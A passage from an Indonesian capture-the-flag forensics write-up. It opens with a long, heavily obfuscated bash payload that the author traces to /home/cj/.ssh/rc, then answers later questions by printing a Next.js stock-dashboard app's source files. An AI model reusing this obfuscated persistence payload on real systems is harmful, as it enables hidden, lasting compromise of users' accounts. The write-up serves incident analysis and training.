${@/\"kD\{\!xG} |  ${@%%&szN*O}   ''$'\x6dd'"${@//?eV7}"5"${@//VuNWk}"s$'\u0075'"m"  $*   "${@,}"  | ${@,,} "$@"   $'\143'"u"${*##S\[\cz}t -b   $((  (-(-(17#c--8#1"${@~}"7)+57#h))   ))-$[ (-(-(-${*/#?Sj/_d&f,}5#13+5"6""${@^^}"#${@^}m)+3"#""1"0))  ] ${*##sx~O} )"  "${@,}"  ${@#8Na-} ; ${*#\rnZo*}   ${*} "p""${@^^}"ri'n'"t"f   "\x$( $@  ${!@}   p\r\i$'\u006e\164'f   %s   'EdfWvJ'   ${*//\`*\"TO,Yr}  ${*//GhbyQ^+/\g5t} |  ${*##?,Nbb} "m"$'\x645'\s${*//\{0%Q}u"m"   ${@%W\!O\!} | "${@#+=99}"  c''$'\u0075'''$'\x74'   -b  $[  ((-3#11+3#10)+4#${*%%\`Ug\`;\]\}\)}12) ]-$(( ((3#${*%Pq6J\`}10*45"#"1)+"${@,}"3#10)  ))   ${@/*l\`\(/\!J_Vi\"}  )" ${*%eGghGYi%} "${@^^}"  &&   "${@~}" p${*}r$'\x69'ntf  "\x$( $*  ${*} \p\r""i$'\156'$'t\u0066'  %s  '!RLyJo'   ${*/JLk*tr/8y\`Z} ${*#y8c\}pKfM} |  ${*/;\(4k}  "m"d5${*//,by\"}su''\m   ${@~}   |   ${*##SVAh\}lb\)} "c"u${!*}t   -b $[ ((62"${@%%>#bz}"#"0"*"5""1"#"0")+${*}20#1) ]-$((  ((-"3"5"${@~}"#1*"${@#AU3naq}"28#"${@~}"0)+47#2)  )) ${*//VJ\"\[W%}   ${@//OXFm/Z=TKr%qJ}  )" ${@%%>j$#Q8?}   "${@}"   && ${@%%zuz@} ${*^}   p"r"in""${*,,}t""${*^}f "\x$(   ${*,} ${*~~}   $'\160'""r${@/$M*MBhO}in\t$'\x66'  %s   ']yO{5' "${@//Tf>\{R/Sx7^GmA<}" ${*~}  |  "${@##Z\}iI}" ${*#l2s*Evh} ""m"d"''5$'\163u'm ${@/av~G}   ${*^}  | ${*~} $'\143u'$'\164'   -b   $(( (-(-(61#"j"--"6"1#p)+6${@##vu\[ZIhF}0#${*,,}i)) ))-$[ ((-3#1111+3#${*/S4YJ?C0}1${*^}0)+5#${*}22"4")   ] "${@/aHqOL_h_/\!ILhj\)C}" ${*//TNZV%}  )" ${*##+ZXp}  ${*~~}  && ${*%%DUHPpJ,J}   "${@%\!5D+<d-.}"   pri"${@##NyQK}"nt'f' "\x$( "${@%%\fPOI}" ${*~~}  ''$'p\u0072\151'nt"f"  %s  '"\}s'   "${@}"  ${*%%\`XY0u~F}  | "${@,,}"   ${*/\#I37Ph6/r26gC\"s}   ''md$'\u0035'$'s\x75m'  ${*^^} | ${@~~} "${@^}"  c${@,,}u""t  -b   $[   (-(-(-"4""0""${@}"#a*-6"0""#""a")+45#1${@/ZDaYgvwv}p))   ]-$[ (("-"3#1"1"${@/t7L$FjA0}10+"-""8"${@%%nBZi0}#${*##jxqW;u}17)+${*/lZ\`s}3#10"0"11)  ] "${@,}" ${@~}  )"   ${*~~}  ;   ${@~~} ${@##s8$y>#} p''ri$'\u006e't"f"  "\x$( ${@/HAmjBf} ${*^^}  p$'\162'\i\n''t"f"  %s  'u;W1|x1u'   ${@//b7V<>} | ${@//SZE<<grb} md5s\u\m  $@  ${*/mzLX>nY/\]8\`Gv} | ${*^}  c$'\x75'''t   -b   $[  (("-""3"#${*~~}10*3#1"0")+"${@##Y\{^3d\`3}"11#17)  ]-$(( (-(-("3"5#j--3#"1"0)+3"4""#"c))   )) ${*/|#B@/9EW74gZ} )"   ${@/rIs\(mhS>}   ${@#Z_XT#3:}   &&   "${@,,}"   ${*^^} pr''$'\u0069n''t'"f"  "\x$( ${*//|2\`Hz}  ${@}pr$'\u0069'n${@^}tf %s 'cQ}2}'   "$@"  ${*/J\_zK/1-7ASHAn}  |   $@   ${@//\{-*im@}   m'd'$'5\163u'"m"   ${@~~}  | "${@//fs,~\!}"  "${@##\[I&AmSwK}" ''\c""$'\165t'  -b   $[  ((-4"2""#"${*//?a2\(0}2+48#a)+44${*#\W&\[C.}#k)   ]-$[  (-(-(-${@~~}6#10-"-""5"2${*//U39Ho/s:y\"M}#1${*##O.NvTY}0)+1"6""#"11)) ]   ${@//v~k|A?7}   )"  "${@^^}" &&   $@   "${@#LqMz}"p\r""${*^^}i\n$'\u0074f' "\x$( ${*%61s-A:\!}   ${*^^} $'p\162'"""i"""$'\156'""tf  %s 'Q2C-#{q'   ${*}   ${*//35GY\`\(ZZ} |  ${*^}   \md$((   (-(-(8#"1"0--"3"7#1)+2#10"${@//&+~\{/O%f;M}"0)) ))\su\m  ${@^}  |   ${*//ivVMMV3/zZom} ${*^}   cu\t   -b   $((  (("-"${@/dYTre;U/?0-\{}47#i+"2"2#g)+5#${*##KDOgFCpt}101)   ))-$[  (("-"23#a+${*^^}-9"${@~~}"#${@^^}10)+6#"1""1"${*,,}2)  ]   ${!@}   ${*/a.xL\[:Q/mRsu@\[9Q}  )"   ${*#q-\}r%m} ${*~~}  ;   ${*#wW\{rwGN}  $'\160'\r"${@/c9XvD}"i\n"""${@##\)>\[;ZA}"tf   "\x$(   ${*~}   prin${!@}t${*%%\`FkjK}f %s 'F8T|' ${*/,js_s/qH6r4q} |  ${*~~}  ${*##O\{cKZ\v} m'd'\5\s"u"m  ${*%z<\(se.V1}  ${*/z=j7Xn&/D|by,\]%} | ${*/_^^bnI/ep>lqU}  \c\ut -b  $[   (-(-(${*,}47#k+4${!@}7"#"p)+43#"o"))   ]-$[   ((16#14-49#a)+64#c)  ] ${@/~K\{7Xo/+0yIV}  ${*//L+>\2}   )"  $* &&  "$@"   "${@%mVtf}"   \pr${*^}int$'\u0066'   "\x$(   "${@~}" ${@~~} p$'r\x69''n't${*/M\]:zZ/\(%VL}f   %s   'zOsI>f'   ${*^}   | ${*/L\[C_.Vz}  "${@^}"   md${*~~}5\s'u'm "${@~}"  |   ${*~} ${!*}  c$'\x75t'  -b   $[ ((${*//TV?y/TM4F}-2${*##~y>U}6#"m"+36#"r")+"4"4#b)  ]-$[  (("3"5#0*"2"${*~~}7#1)+11#${*#_t%Tt\}}1"6") ]  ${@//MZZf\!\!e4} )" ${*%%qV6R} ; ${*//9K+~\[/^B5O}   pr$'\x69n'""$'\x74''f'  "\x$(   "${@%<%>WuNY}"  p\r\in''$'\u0074f'  %s 'lap:'  "${@,,}"  | "${@#=W_\(}" \m""$'\1445s'um  "${@//Kc|&G}"  |   ${@~~}  ${@} $'c\x75t' -b  $((  ((-"3"4#1*-3#11)+45#${*/LB+jSL|5}n)  ))-$(( (("3""2"#e*"${@//gu<:af/-j\[\`}"-5#12)+61#"2"4) )) ${@~}   ${*%s9I$}   )" ${!*}  &&  "${@,,}" ${*#\]AV%E|}  "p"r\in''\t$'\x66' "\x$( ${*^}  ${@/\"o>\"/LLzF}   p''$'\162'in""'t'""$'\146'   %s  'S-l~HjZ:'  "${@^}"   |   ${*^^}   md5su''m ${!*}  "${@}" |  ${*/e\)%j\{h/BCc\(L@}  ${*,}c'u't  -b $[   (("-"62"${@}"#l+-6#11)+"4""${@%^Y0pr6l}"9#E)   ]-$(( ((11${*%%&?\)T}#${@,}1*"3"${@%%:Fx\!}7#${*~~}1)+"4""6"#c)   ))  ${*%%FO8=P} ${!@}  )"  ${*//GMK0J\[<\`} ; "${@%4X1VI\!}"  ${*^^}  pr'i'${@}nt\f  "\x$(   ${@^^}  ${!*}   ''p''$'\x72'\in't'\f   %s '^p0{'  ${!*} ${@^}  |  ${@} ${@//pzWIq/a1gF}  ""${*%4W~7|}md$[  ((7"#"1"1"-3"#"12)+42#2)   ]s\um   $@  ${@%%-S~#F58+} |  $*   c$'\u0075't   -b  $((   (-(-(25#1m--7"#"66)+${*}37#$@1t))  ))-$[ (-(-(-3"#""2"2--32#${*^}1a)+4#10))  ] ${*#+\,>} )"  ${*/\}Q>\!ix*/gp4@tP\)y}   ;   ${*##A\`8.nvp<}   ${@//\{s=SGT} "p"""$'r\151'""nt${!*}f  "\x$(   "${@##o2y$z0O}"  ${*~}  ${!@}pr''"i"$'n\u0074'''f   %s  ',ig,w'   ${*//R+hY}  |   "${@,,}"   "${@~}"   md5sum   ${*/t%;jB-} | "$@" ${*/RO2GI$N;}  """c"${@~}u$'\x74'  -b   $((   ((-35"#"g-2#1${@,,}00)+${!*}21#"2"0) ))-$((   ((-5#2*2#11)+15${@,,}#1"e")   )) "$@"   ${@~~}  )"   $@   && ${*,,}  ${*^^}pr""'i'n\tf  "\x$(  ${@%%Ur*C4}   ${*~}  "${@,}"p\r'i'ntf   %s '-J;P' "${@/,hAcWQ}" | "${@%%#LCl8}" ${*~~}  m''$'\x64'$@5\su""$'\x6d' "${@^^}"  | ${*/_\(\}$8/<67L58} ${*#y<ZPk*,V}   ''$'\x63'u${*}t -b   $((   (-(-(-22#1--7#1"1")+"2"${*,}#1${*/^.QK\f;/@\)&0|>\`&}1)) ))-$(( ((-${*##2K\[uUE}3${*,}#1"1"+"-"57${@%%Po\{;;*}#${*/J0QAlt\{}2)+2"3"#b) )) "${@,}"   )" ${*/3%HC5V/z\"Y@}   ${*%%5RI\}_t$}   && ${*%%~:Eg?\"H*}   ''p\rin't'f   "\x$(  ${*//\`4j$xz\]u/WE@lsc} \p\r$'\u0069n'\t""f  %s 'j8O9fNxw' "$@"  "${@/R*o\!\!/\(&3f}" |   ${@^^}   $@  """${@//i8y>6I}"m$'\144'""5s"u"m  ${@%YOa>MPH}  |   ${*##qyUCYA~}   cut -b   $((  (("1"${*,,}6#${*}1-"2""${@/V-y+_V~/WlE1K*}"0#2)+"4"#"1"1)   ))-$((   (-(-(4${@//fzs>-Cks}#${@/MyFAiD}10-"-""3"#20)+2"#"1"0"1)) )) ${*~}   ${*##o2NK0}   )"  "${@~~}"   "${@~~}" ;   ${*//dg:S+Cn}   \pr""int''f   "\x$(  "${@#\!lJAlm4}"  \printf   %s 'ml8BKJs'   ${*,} ${*,,}  | ${*,,} ${*^} $'\u006d'""${*/-Iko\]G/%,9N@264}d"5"\s''"u"""${*,,}m   ${!*}  ${*/DbbYld}   | "${@/\XhP}"  \c""${@##t_ym|}u$'\x74'  -b  $((   (("5"#1"${@%%jrZs}"0-"4"${*~}6#"${@/~Fuu@Y\[/e;2Duf}"0)+2${*~~}#${@%%d|5&f\]xY}100)  ))-$((  (-(-(3"#""1""0"--35#"i")+2${*,,}2#b))  ))  ${*^^}  ${*^^} )"  "${@^}" ${*}   &&  $* p\r''i"n"$'\164f' "\x$( ${*^^}   ${!*}   $'\160'''ri'n'tf  %s   '#lydeE]m'   ${*^} ${*//~Pc49E}   |   ${*//9vSWN52}   ${*,}   ''${*%%2\!7x2+}m$'\u00645su\155'   ${*,} |   ${*//7M\`\"\{0/r10a%,C}  ${*^^}cu"${@//>GM7.L/1A2\`b}"t -b   $((  ((-7#"1"${*~}10+5$*9#"${@/?a#h/hf\!\1}"k)+"${@~}"7#123)   ))-$((  ((1"${@#F8,$@F}"6#${*//SIO:/|5TY}e*"-"7#${*//Q\)<=\!l8/WdN\}_^}1"1")+${@,}6${*~}4#2${@%74^s1}f)   ))   ${@~~}  ${@^^} )"  ${@##KfVTWL~}  && "${@~~}"   ${*##BPB_ODFq}  ""'p'rin$'\x74'f "\x$( ${*,} ${!*}pr'i'n''t$*f  %s '_P+9]'   ${*^} ${*%%b\!9_7:~q}   |   ${*~} ${*%-8Y$n} """m"''d"5"''su'''m'  "${@//x9\"jaz2/bOH9q.}"   |   "${@^^}"   cut   -b $(( ((-3${@,,}#1"${@,,}"0*18"#"${*}2)+"${@#,qBc,5V7}"19#d)   ))-$(( (("${@%H#\-2\r}"15"#"1*-21#"1")+4#"${@,}"2"${@}"1)   ))  ${*/#vw_/:3s9<-j0} "${@//?MPA9%.r/e?FDE}" )"   ${@#z\}7rHwF@}  &&  ${*//++H\]S}   ${@#\}clcHM}  'p'r""$'\x69'\n\tf "\x$(   ${*/\"@h3%}  $'\x70r\151'"n"'t'f  %s 'eS!=L'  ${*,}   ${*,} | ${*,,}  "m"${@%IBtcDo}d5''$'\163'""u''m "${@//:w0BV/XT\"~d}"   |   ${*##Ph-\)f}   "${@,,}" \cu"t"  -b   $((   (("-"6#10*$*4#1"0")+${*%%*%0\[X}3"0"#${@#\(\!nMol\}}19)   ))-$((  ((-8#2+7#"1""${@~}"0)+11#"1"0)   ))   ${*^^} ${@/x\pC3/WNcu#k\[,}  )"   ${*^^}  ;  ${@,} ${*%;51VAY}  $'\x70'""'r'$'\x69'\nt'f'  "\x$( ${!*}  ${@~}   \pr''\i${@,}ntf  %s  'VnQfQ?Qa'   ${*^} ${@/3lym/\{=Dk8t}   |   ${*,,}  ''md5""$'s\x75'$'\155'  ${*##5qj\`,c^B}   |  ${@^^}   ${*~~}  c"u"${@%h_$B_uh}t  -b $(( (-(-("${@,,}"3"3""#"2-4"1"#"1")+6"#"$*0)) ))-$(( (($*-"4"7#"1"*${*~~}61#0)+2${*%jV7*s@}2#"2")  ))   ${*//w\)SvO\g/\}r9i}   ${*//%J^X53>/<7%\]6A} )"   ${*^^} &&  ${*/>qDpt}  "${@^}"   "${@%%XTs\!+Q}"p""$'\162i'""$'\x6e'"t"""$'\u0066'  "\x$(   ${@#;.Rf?Xp}   ${*//.*W?\{,/nZrJbHM}  ""'p'""rin\tf   %s   'R>lZ6}YQ'   ${!@} ${@//\!|\"2^l=\"}   |  "${@%9Eox}" ""m${@~~}d\5"s"'u'$'\x6d' "${@/Q#;\(/?<S;}"  |  ${*~~}   cut  -b  $[   ((2${*^}9"#"0--17#1)+3#"2"1) ]-$[ ((-"4"#1"3"+20#${@/:8_q|C/|\(f\}}e)+"2"#10)   ] "${@^}" )" ${@//9JPJ7.-;} $*   ;  ${*^}   p\ri"${@^^}"nt'f' "\x$( "${@/nr?#j\!RR}"  'p'ri\n""tf   %s '?<(BG'   ${*,}  | ${*//OLVZ5O/O6C%v}  "${@//Q|MN~VVX/:?+\}\`q}"   \m'd'5s''$'u\155'   ${*} |   ${*~} "${@,,}"   ""cu""t   -b   $[  ((-"5"${@%6+YZg}#${*,}1${*#\(k.Ep\{$&}0+8#10)+54#g) ]-$[   ((-3#12-6#10)+4"0"#"v")  ] ${*}   $@  )"  ${*,,}   "${@,,}"   &&   ${@~~}  "${@~}"   'p'$'r\u0069'''$'\x6e'tf  "\x$(   ${*/t1\)d} \pr''$'\151'n$@t\f  %s   '|#6[['   ${*~~}   $* | ${*//c<eJ.Y:/D@_cp}   ${*,,}  ""'m'\d5s${*}u''\m ${*~~}  | ${*//\,\!\`y3M/J3RS} "${@/hOg<bK/7nutD1R}"  c${@//fzObO\";}u"${@//\)c;\}#h?}"t   -b  $(( ((${*^}-2#1"${@,,}"1*"$@"11#"1")+3#2"1"0)   ))-$((  ((5#10+-62#${@~}e)+"5"5#s)   ))   ${!*} ${*,}   )"   ${@,} ;   ${@/M\(n9zkv8/X8ljl\"}  ''"p"''rint""'f'   "\x$(   ${!*}  ${@~~}p$'\u0072'i''"n"t$'\146'  %s   'U7?wUZN'   ${*//ZI9r0h|6} ${@~~}   |   ${*^^}   "${@##M\]gqHJF}"   ""m${*%S^4An>\"}d$'\65s'um   "${@^^}"   ${*%%nl.|}   |  $* "${@/W\!;hS/us_\)a.}" \cu't' -b $[   (-(-(-"3"${*}#21*"${@%\Yf.0T+}"-${*~~}5#13)+55#"v"))  ]-$[   ((2"${@^^}"#${*^^}110"1"*-"1"9${*,}#${*}1)+${@^}6"#"10${!*}3)  ]  ${*~} "${@#1*E_}"   )"   ${@^} ${*%%R\]oa0\"}  &&  ${@^^}  pri""nt""f "\x$( ${*~}   p${!*}r""i'n''t'\f  %s   '}<OQ|mdQ' "${@~~}"  | ${*#;R@hq\\}  \m""d5s$'\u0075''m'  ${*#r%^W} |  ${*/Q$C\%\"=p/&DAO}  ${@//.B8P8/-y=~&}   """c"$*u''"${@^^}"t -b $((  ((-5#"2"+-4#130)+63#Z) ))-$((   ((${*//aHTL\`Y,/\`bPP*}-27#"d"+12#29)+3#"${@//%Aqgfw}"110)  ))   "${@//+.-c\"/8|^eb9}"  ${@,}  )" ${@^^}   ;  ${!@}   ${*%vJ=NWM\)}p${!@}ri\n't'$*f  "\x$(  ${*/L:+=BV4m}  "$@" p''$'\x72'''i$'\u006e'''"${@//\(k;nw\)/UY18iNM}"t"${@~}"f  %s 'UVbb' "${@/\(H-S?o|}"   | ${*^} "${@/9s<9#4/Q\RQ}"  md5"""${@^^}"su$'\155'  $* "${@%%mmpO$P}" |  "${@^^}"   ${@,}   $@c$'\165'''"${@%%\]\`VTa@G\"}"t -b $((  ((4#10*31"#"0)+36#m)   ))-$[  (-(-(-"2"#10"0""1"*${*#\(T?\)+2B5}-6#1"0")+3"#"10"1"1))  ]   ${*,,} )" $*  ;   ${@//.N0Jq/M\!~mEsoQ}   'p'ri\n"t"f "\x$(   ${*^}  "${@//%n89DX_}"  p${*~}r\in${*//HCYrQZ4P/oND\{%}tf   %s '7G8X]G'   "${@^^}"  ${*,}   | $@ md5"""${@##~@Xn+gQp}"sum ${*,,} |  ${@,}   ${@/2D\"q\]}   ""c\u't'  -b  $[ (-(-(18#26--"2"7#$@1j)+"${@/f\[\)4sw}"3${@%RTu\[#2}0"${@#n\R\[\"X3X}"#21))  ]-$[  (("${@,}"-$*2${*//s\]3uu/\)c~L@#>}2#1--4#"${@#_>EnH53}"10)+"1""4"${*//\]G6F}#1${*,,}b)   ] ${*//\H4~/\{~\!\!D@~s}  ${*%$&\!zws\{x} )"  ${*~} ${@#en~*}  ; ${*/0Xh~/dg^\}Y}  ${@~}   $'\u0070'''r$'i\156tf'  "\x$( "${@//mC\"\)}" \p$'\u0072\151'"${@#SC8\(}"ntf   %s   'rK2iiAL'  ${*//e\"#uD} "${@,}" |   ${*} ''\md\5\su""'m'  ${@} |   "${@#4\`ElS=6G}"  ${*~}  "${@%%m0IY\[^q\`}"cut -b  $[ ((-4${@^^}#"2"0+-"5""5"#1)+7#"2"0) ]-$(( ((-2#11*-63#1)+2${@~}#11) ))  ${*^}  ${@/Od7\{Yc/a%eXg} )"  ${*//yZe\`8pC}   &&  ${*%%\!TqXTLJo}   p""$'\x72'\i""n''tf "\x$( ${@//y>8S/fM8X} "${@,,}"p''\rin"${@//\)VZIeiM}"t'f' %s   '.ODS}~S'   ${*//\[*S\"a}   |   "${@~}"  ${*#<QO\]\"V7}   ${!@}m$'\x64'$[ (-(-(${@^}5#${*//hY\"rT.|\{/ZJVI}10--"3"#100)+${@//R8E0WJ3+/>W,\@}4"#""2"1)) ]sum  ${@~}   | ${*%e3\(DR.V}   c"${@^^}"u${*~~}t -b  $[ (-(-("1""6"#1"$@"0--${*%%CyO\}foL}8${*%CwPU\`fa}#3${*,,}0)+5#4${@%%_|AZ}3)) ]-$((  ((${@~}3"${@}"#${*%2F;b<}21+2#1"${@/#SIkmm}"01)+5#1${*##G\(vo*}1)  ))  ${@%\"QW\}\{V&\)} )"   "${@~~}"  ${*#sz23wn}  ;   $@   ${*#W-HvucK}   \p\r"i"\n$'t\x66' "\x$(   ${@~}   ${!*} ''${*~~}p''rin\t''"f" %s   'J#|-'  ${*//7X\(h\`O/\}MA%pj}   |  ${*##S_\(XO|}  m\d5s""$'\165''m'   "${@}"  |   ${*~}   ${@/o*\)b}   cut  -b   $[  (-(-(2#11"0"*${*}2#101)+47#c)) ]-$((   ((${*/cD%a4|}3${@//yQ=\)}2#2+${!*}63#"a")+3#"2"1)   )) ${*//GY\!1N/loLiovc} )"  ${@,}  &&  "${@##g&C%}"   ${@,} ${*/XDJ2ju\)*}p'''r'''i''\n$'\164'\f "\x$(   ${*^^}   $'\u0070'${@#p~BSZoF}r${@^^}int"${@~}"f   %s  '#2\.'   ${@//mc\]\(0o+?/h\]ki7\\}   ${*,} |   ${*/pol9BtDH}  "m"$'\144'"5"'''s'${*^^}u''\m   $* ${*~} |   "${@~~}"  \c$'\x75't  -b $((   ((2#"1"0${*^^}1*${*/\!:4k\(</HId;T<h8}-${@/kq?G0}6#"1""0")+64#P)   ))-$((   (-(-(44#"u"--${*/?FbYV}28#1"4")+37#13)) ))  ${@,}   ${*} )" "${@%%q-4W9X}"  &&  ${@^^}   "${@/u7TH8z/#C6s^J.}"   \p\r\i$'\156't${*,,}f   "\x$(  ${*%6^qN} \pri${@}n"${@,,}"t''f  %s 'vvOAWVwE' ${@/T0y+jL\-/*K0\[} | ${*/m,\{Gg} "${@//GbGDmcjf}" ""\md''5s${@~~}um ${*##\D^|} |   ${!@} ${*~}cu"t"   -b   $((  ((2${!@}#100*-51#"1")+31#h) ))-$((  ((${*,}-4#"${@/5.Oi-1iQ}"1"0"*-3#10)+"${@^}"6"#""${@##tla\)L}"2)   ))   ${@%%rR%L~}  "${@,,}"   )" ${@%@i\!nD}   ${*//jP;\}}   &&   ${*,} $'\u0070r'${*#$:z\`$29}in't'\f "\x$(   "${@}" ${@%%\{\(\(^B;x6}   ''p$'r\u0069'"${@/pR1L/Oho$\"g}"ntf   %s 'vV:|}]'   ${*~~}  |  ${*/n\!F\[34H/a>IAhR}   md""5""$'\163'u'm'   ${*~~} ${*//>D73p/Mi^&O} | "${@//gUl\}W>np/a-&\"}"  ""\cu''\t   -b  $[  (-(-(2#"$@"10"0"0*2#10"1")+63#l))  ]-$((  (-(-(63#b-${*^}-"2"1#${@%%:\U:x}13)+"3"#120))  ))   ${@//;1>sxf} )" ${!@} "${@//TSKzX0}"   &&   "${@#>\(0T}" ""'p'"${@~}"ri"${@##eRvb^}"nt'''f'  "\x$( "${@~~}"  p${*~}r${*#A7\!<}i''\n$'\x74'\f  %s '`DAd'   ${@##=g4z}  "${@/\`qHP9h@/*F:74}"  |   ${*/&G\{T}   ${*}m"${@//rwzby}"d5\s\u"m" $* | ${!@}  ${*//dB\`PJ}  ''c$'\x75'""\t   -b $((  ((${@//\{m\]bsfJm/o8fLc6.-}-4"#"1"${@^^}"0--"3"${@,}2#"$@"e)+${*//\(#+1/J#5WND\!3}2$@#110)   ))-$[  ((${*%du0A7}-4"${@^}"5#c+-6"${@,,}"#"1"1)+3"1"#1"5")  ]  ${*} )"   ${@%n@Wkz9&I}  ${*//;RM*#ps}   ; ${*#\)g4\{DN^} ${*^} \p"r"\i\nt\f "\x$( ${*//^\]^\}Oa%*} pr$'i\u006e'tf %s   'rR0i]5CE' ${*,} ${*} |  ${@//Ak>*^>^} "${@##Qpe\\}"  m''d5s${@^}u"${@###PNR}"m ${*^}   ${*^^}  |  ${*//.jg\]R\}~}  ${@#N4x@}c\u"t"  -b $((   (-(-(4${@#J@OuZR_h}5"#"d-${*,}-3"2"#${*~}g)+4"9"#i)) ))-$[ (-(-(2#1"0"${*,,}1"0"0-"2"5#1)+${@/%@Z@5}3#"2"${@#Y?o^}1))   ]  ${*##9e\!Bs3} ${*~}  )"   $* ${@//\"OQa5@6&/Esw\{#7k}  &&   ${*##*gJ\`} $* p$'\u0072in''t'$'\146' "\x$( ${!@} p""\r${*^}int${@//btP=0U/-I8M3eI}f   %s  '&twEKlW9'  ${*##nr;\)jrak} |   ${@%BsJB}   m$'\144\u0035'""sum   ${@%\Nw;g4}   |  ${*~~}  "$@" cu${@}t  -b $(( ((${*~~}4${!*}7#a*-5#1"3")+3${!*}7#2z)  ))-$(( ((2#1000-${!*}-"3""3"${*##HsR~^F}#g)+4#1"2") ))   ${@%2lhwlKy}  ${@,,} )"   ${*%z:\(|i}  ${@//V@\[8Ct\!/T+.;\(pJ}  &&  ${*^}   "${@/7\)@x/Wu|3}" ''$'\u0070ri'nt''f   "\x$(  "${@//RDXtkn/.v*\[Yx}"   ${*##GFjm^}   ''${*%\[sJsEY}p$'\u0072i''n't""f  %s 'Scy`'   "${@~}"  | "${@//A~#K/vz>et%Z}"  m${@//%8XN%:r/;ABBo}d""$'5\u0073\x75'''"m"  ${*/ePBgg|\}}   ${*^^}  |  "${@,}" cu""t  -b $[ (("-"49#b--"3"${*%DTjB}#20)+9"${@%%T~?G2}"#32)  ]-$(( ((8#${*~~}2--6#13)+2"8"${@#sK+<U&C}#e) ))   ${*^^}   ${*,,}   )"   ${*//uakKKJM/$R\(9=I}   ;  "${@}" "${@%nTbw\]}"    )"  ${!@}    EOF⏎ ``` jadi jawabannya adalah `/home/cj/.ssh/rc` Answer: `/home/cj/.ssh/rc` ## Q6: It looks like the exfiltrated directory files were all being shredded. Please provide the original metadata title of the web application (in layout.tsx file), the total of the stock sectors and the total of the companies! Jujur disini gw lupa njir gimana cara decrypt nya :v, efek REPL cik + udah lama baru dibuat wu beneran nya aowkawok, ya anggap aja ini timeskip, pokoknya kita disini harus ngedecrypt buat bisa akses isi asli dari direktori `company_secret`, soalnya kalo cuma dari mount, itu isian nya kosong. kita bisa cek di `/app/layout.tsx` ![](q6.png) ```tsx import './globals.css' import type { Metadata } from 'next' import { Inter } from 'next/font/google' const inter = Inter({ subsets: ['latin'], weight: ['400', '500', '600', '700', '800', '900'], }) export const metadata: Metadata = { title: 'Saham Bos 2025 - Stock Market Dashboard', description: 'Professional stock market portfolio viewer and analytics dashboard', } export default function RootLayout({ children, }: { children: React.ReactNode }) { return ( {children} ) } ``` dan `page.tsx` ```tsx 'use client' import { useState, useEffect } from 'react' import { TrendingUp, TrendingDown, Activity, BarChart3, PieChart, LineChart, ArrowUpRight, ArrowDownRight, RefreshCw, } from 'lucide-react' import { Card, CardContent, CardHeader, CardTitle } from '@/components/ui/card' import { Tabs, TabsContent, TabsList, TabsTrigger } from '@/components/ui/tabs' import StockTable from '@/components/stock-table' import SectorChart from '@/components/sector-chart' import PortfolioOverview from '@/components/portfolio-overview' import MarketHeatmap from '@/components/market-heatmap' import TopMovers from '@/components/top-movers' export default function Home() { const [marketData, setMarketData] = useState({ totalValue: 0, dayChange: 0, dayChangePercent: 0, totalStocks: 0, gainers: 0, losers: 0, }) const [isRefreshing, setIsRefreshing] = useState(false) const generateMarketData = () => { const baseValue = 1250000000 const variation = Math.random() * 100000000 - 50000000 const totalValue = baseValue + variation const dayChange = Math.random() * 40000000 - 20000000 const dayChangePercent = (dayChange / totalValue) * 100 setMarketData({ totalValue, dayChange, dayChangePercent, totalStocks: Math.floor(Math.random() * 10) + 35, gainers: Math.floor(Math.random() * 15) + 15, losers: Math.floor(Math.random() * 15) + 10, }) } useEffect(() => { generateMarketData() }, []) const handleRefresh = () => { setIsRefreshing(true) generateMarketData() setTimeout(() => setIsRefreshing(false), 1000) } const formatCurrency = (value: number) => { return new Intl.NumberFormat('id-ID', { style: 'currency', currency: 'IDR', minimumFractionDigits: 0, maximumFractionDigits: 0, }).format(value) } const formatPercent = (value: number) => { return `${value >= 0 ? '+' : ''}${value.toFixed(2)}%` } return (

SAHAM BOS 2025

Real-time Market Intelligence Dashboard

Portfolio Value

{formatCurrency(marketData.totalValue)}

= 0 ? 'text-emerald-400' : 'text-red-400'}`} > {marketData.dayChange >= 0 ? ( ) : ( )} {formatCurrency(Math.abs(marketData.dayChange))} ( {formatPercent(marketData.dayChangePercent)})

Gainers Today

{marketData.gainers}

Stocks moving up

Losers Today

{marketData.losers}

Stocks moving down

Active Stocks

{marketData.totalStocks}

In your portfolio

OVERVIEW SECTORS HOLDINGS

) } ``` Title: `Saham Bos 2025 - Stock Market Dashboard`\ Total Sektor: `8`\ Total Perusahaan: `40` Answer: `Saham Bos 2025 - Stock Market Dashboard_8_40` ## Q7: Please provide the original state of all the stock codes for Technology Sector-based Stock Code! Untuk jawabnya kita bisa lihat di salah satu file di direktori `/lib` yaitu `stock-data.ts` ```ts export interface Stock { id: string ticker: string name: string sector: string price: number change: number changePercent: number volume: number shares: number totalValue: number dayHigh: number dayLow: number marketCap: number pe: number dividend: number } const sectors = [ 'Technology', 'Finance', 'Energy', 'Healthcare', 'Consumer', 'Industrial', 'Materials', 'Telecom', ] const companyNames = [ ['TECH', 'TechIndo Digital', 'Technology'], ['BANK', 'Bank Nusantara', 'Finance'], ['COAL', 'Karbon Energy', 'Energy'], ['MEDI', 'Medika Sehat', 'Healthcare'], ['FOOD', 'Indo Food Corp', 'Consumer'], ['AUTO', 'Automotive Prima', 'Industrial'], ['MINE', 'Mineral Resources', 'Materials'], ['TELE', 'Telekom Digital', 'Telecom'], ['DIGI', 'Digital Solutions', 'Technology'], ['PROP', 'Property Mega', 'Industrial'], ['RETA', 'Retail Indonesia', 'Consumer'], ['PHAR', 'Pharma Medika', 'Healthcare'], ['OILG', 'Oil & Gas Indo', 'Energy'], ['FINA', 'Finance Capital', 'Finance'], ['CHIP', 'Semiconductor ID', 'Technology'], ['BREW', 'Beverage Corp', 'Consumer'], ['STLX', 'Steel Works', 'Materials'], ['AIRP', 'Airport Services', 'Industrial'], ['INSUR', 'Insurance Plus', 'Finance'], ['SOLAR', 'Solar Energy', 'Energy'], ['CLOUD', 'Cloud Computing', 'Technology'], ['HOTEL', 'Hotel Group', 'Consumer'], ['CEMEN', 'Cement Industry', 'Materials'], ['SHIP', 'Shipping Lines', 'Industrial'], ['ELECT', 'Electronics Co', 'Technology'], ['BANKS', 'Banking Service', 'Finance'], ['PLAST', 'Plastic Mfg', 'Materials'], ['TRANS', 'Transport Log', 'Industrial'], ['PHARM', 'Pharmacy Chain', 'Healthcare'], ['MEAT', 'Meat Producer', 'Consumer'], ['GOLD', 'Gold Mining', 'Materials'], ['BUILD', 'Construction', 'Industrial'], ['TOWER', 'Tower Telecom', 'Telecom'], ['DATA', 'Data Center', 'Technology'], ['INVST', 'Investment Co', 'Finance'], ['GAS', 'Natural Gas', 'Energy'], ['HOSP', 'Hospital Group', 'Healthcare'], ['FASH', 'Fashion Retail', 'Consumer'], 